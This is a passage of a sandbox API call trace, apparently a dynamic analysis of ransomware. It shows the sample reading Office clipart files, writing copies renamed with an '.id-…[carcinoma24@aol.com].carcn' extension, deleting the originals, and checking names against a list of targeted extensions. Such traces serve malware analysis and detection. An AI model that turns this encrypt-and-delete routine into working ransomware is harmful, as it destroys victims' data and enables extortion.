dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0293.274] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=3966) returned 1 [0293.274] CloseHandle (hObject=0x374) returned 1 [0293.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 0x220 [0293.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0293.275] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.275] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0293.326] GetLastError () returned 0x0 [0293.327] ReadFile (in: hFile=0x374, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0xf7e, lpOverlapped=0x0) returned 1 [0293.328] WriteFile (in: hFile=0x364, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xf80, lpOverlapped=0x0) returned 1 [0293.329] ReadFile (in: hFile=0x374, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0293.329] WriteFile (in: hFile=0x364, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0293.329] SetEndOfFile (hFile=0x364) returned 1 [0293.330] CloseHandle (hObject=0x364) returned 1 [0293.330] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.330] SetEndOfFile (hFile=0x374) returned 1 [0293.332] CloseHandle (hObject=0x374) returned 1 [0293.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0293.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 1 [0293.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0293.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0293.333] lstrlenW (lpString=".doc") returned 4 [0293.333] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0293.333] lstrlenW (lpString=".docx") returned 5 [0293.333] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0293.333] lstrlenW (lpString=".pdf") returned 4 [0293.333] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0293.333] lstrlenW (lpString=".xls") returned 4 [0293.333] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0293.333] lstrlenW (lpString=".xlsx") returned 5 [0293.333] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0293.333] lstrlenW (lpString=".ppt") returned 4 [0293.333] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0293.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0293.333] lstrlenW (lpString=".zip") returned 4 [0293.333] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0293.333] lstrlenW (lpString=".rar") returned 4 [0293.334] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0293.334] lstrlenW (lpString=".bz2") returned 4 [0293.334] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0293.334] lstrlenW (lpString=".7z") returned 3 [0293.334] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0293.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0293.334] lstrlenW (lpString=".dbf") returned 4 [0293.334] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0293.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0293.334] lstrlenW (lpString=".1cd") returned 4 [0293.334] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0293.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0293.334] lstrlenW (lpString=".jpg") returned 4 [0293.334] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0293.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0293.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0293.334] lstrlenW (lpString=".doc") returned 4 [0293.334] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0293.334] lstrlenW (lpString=".docx") returned 5 [0293.334] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0293.334] lstrlenW (lpString=".pdf") returned 4 [0293.334] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0293.334] lstrlenW (lpString=".xls") returned 4 [0293.334] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0293.334] lstrlenW (lpString=".xlsx") returned 5 [0293.334] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0293.335] lstrlenW (lpString=".ppt") returned 4 [0293.335] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0293.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0293.335] lstrlenW (lpString=".zip") returned 4 [0293.335] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0293.335] lstrlenW (lpString=".rar") returned 4 [0293.335] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0293.335] lstrlenW (lpString=".bz2") returned 4 [0293.335] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0293.335] lstrlenW (lpString=".7z") returned 3 [0293.335] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0293.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0293.335] lstrlenW (lpString=".dbf") returned 4 [0293.335] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0293.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0293.335] lstrlenW (lpString=".1cd") returned 4 [0293.335] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0293.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0293.335] lstrlenW (lpString=".jpg") returned 4 [0293.335] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0293.335] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0293.335] lstrlenW (lpString="AN00015_.WMF") returned 12 [0293.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0293.336] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=4734) returned 1 [0293.336] CloseHandle (hObject=0x374) returned 1 [0293.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 0x220 [0293.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0293.336] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.337] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0293.338] GetLastError () returned 0x0 [0293.338] ReadFile (in: hFile=0x374, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x127e, lpOverlapped=0x0) returned 1 [0293.339] WriteFile (in: hFile=0x364, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x1280, lpOverlapped=0x0) returned 1 [0293.340] ReadFile (in: hFile=0x374, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0293.340] WriteFile (in: hFile=0x364, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0293.340] SetEndOfFile (hFile=0x364) returned 1 [0293.341] CloseHandle (hObject=0x364) returned 1 [0293.341] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.341] SetEndOfFile (hFile=0x374) returned 1 [0293.342] CloseHandle (hObject=0x374) returned 1 [0293.342] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0293.342] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 1 [0293.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0293.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0293.343] lstrlenW (lpString=".doc") returned 4 [0293.343] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.343] lstrlenW (lpString=".docx") returned 5 [0293.343] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.343] lstrlenW (lpString=".pdf") returned 4 [0293.343] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.343] lstrlenW (lpString=".xls") returned 4 [0293.343] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.343] lstrlenW (lpString=".xlsx") returned 5 [0293.343] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.343] lstrlenW (lpString=".ppt") returned 4 [0293.343] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0293.343] lstrlenW (lpString=".zip") returned 4 [0293.343] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.343] lstrlenW (lpString=".rar") returned 4 [0293.343] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.343] lstrlenW (lpString=".bz2") returned 4 [0293.343] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.343] lstrlenW (lpString=".7z") returned 3 [0293.343] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0293.343] lstrlenW (lpString=".dbf") returned 4 [0293.344] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0293.344] lstrlenW (lpString=".1cd") returned 4 [0293.344] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0293.344] lstrlenW (lpString=".jpg") returned 4 [0293.344] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0293.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0293.344] lstrlenW (lpString=".doc") returned 4 [0293.344] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.344] lstrlenW (lpString=".docx") returned 5 [0293.344] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.344] lstrlenW (lpString=".pdf") returned 4 [0293.344] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.344] lstrlenW (lpString=".xls") returned 4 [0293.344] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.344] lstrlenW (lpString=".xlsx") returned 5 [0293.344] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.344] lstrlenW (lpString=".ppt") returned 4 [0293.344] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0293.344] lstrlenW (lpString=".zip") returned 4 [0293.344] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.344] lstrlenW (lpString=".rar") returned 4 [0293.344] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.345] lstrlenW (lpString=".bz2") returned 4 [0293.345] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.345] lstrlenW (lpString=".7z") returned 3 [0293.345] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0293.345] lstrlenW (lpString=".dbf") returned 4 [0293.345] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0293.345] lstrlenW (lpString=".1cd") returned 4 [0293.345] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0293.345] lstrlenW (lpString=".jpg") returned 4 [0293.345] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.345] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0293.345] lstrlenW (lpString="AN00790_.WMF") returned 12 [0293.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0293.346] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=5684) returned 1 [0293.346] CloseHandle (hObject=0x374) returned 1 [0293.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 0x220 [0293.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0293.346] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.346] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0293.347] GetLastError () returned 0x0 [0293.347] ReadFile (in: hFile=0x374, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x1634, lpOverlapped=0x0) returned 1 [0293.348] WriteFile (in: hFile=0x364, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x1640, lpOverlapped=0x0) returned 1 [0293.350] ReadFile (in: hFile=0x374, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0293.350] WriteFile (in: hFile=0x364, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0293.350] SetEndOfFile (hFile=0x364) returned 1 [0293.350] CloseHandle (hObject=0x364) returned 1 [0293.350] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.350] SetEndOfFile (hFile=0x374) returned 1 [0293.351] CloseHandle (hObject=0x374) returned 1 [0293.352] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0293.352] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 1 [0293.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0293.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0293.353] lstrlenW (lpString=".doc") returned 4 [0293.353] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.353] lstrlenW (lpString=".docx") returned 5 [0293.353] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.353] lstrlenW (lpString=".pdf") returned 4 [0293.353] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.353] lstrlenW (lpString=".xls") returned 4 [0293.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.353] lstrlenW (lpString=".xlsx") returned 5 [0293.353] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.353] lstrlenW (lpString=".ppt") returned 4 [0293.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0293.353] lstrlenW (lpString=".zip") returned 4 [0293.353] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.353] lstrlenW (lpString=".rar") returned 4 [0293.353] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.353] lstrlenW (lpString=".bz2") returned 4 [0293.353] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.353] lstrlenW (lpString=".7z") returned 3 [0293.353] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0293.353] lstrlenW (lpString=".dbf") returned 4 [0293.353] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0293.353] lstrlenW (lpString=".1cd") returned 4 [0293.353] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0293.354] lstrlenW (lpString=".jpg") returned 4 [0293.354] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0293.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0293.354] lstrlenW (lpString=".doc") returned 4 [0293.354] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.354] lstrlenW (lpString=".docx") returned 5 [0293.354] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.354] lstrlenW (lpString=".pdf") returned 4 [0293.354] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.354] lstrlenW (lpString=".xls") returned 4 [0293.354] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.354] lstrlenW (lpString=".xlsx") returned 5 [0293.354] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.354] lstrlenW (lpString=".ppt") returned 4 [0293.354] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0293.354] lstrlenW (lpString=".zip") returned 4 [0293.354] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.354] lstrlenW (lpString=".rar") returned 4 [0293.354] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.354] lstrlenW (lpString=".bz2") returned 4 [0293.354] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.354] lstrlenW (lpString=".7z") returned 3 [0293.354] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0293.355] lstrlenW (lpString=".dbf") returned 4 [0293.355] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0293.355] lstrlenW (lpString=".1cd") returned 4 [0293.355] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0293.355] lstrlenW (lpString=".jpg") returned 4 [0293.355] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.355] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0293.355] lstrlenW (lpString="AN00853_.WMF") returned 12 [0293.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0293.355] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=20578) returned 1 [0293.355] CloseHandle (hObject=0x374) returned 1 [0293.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft 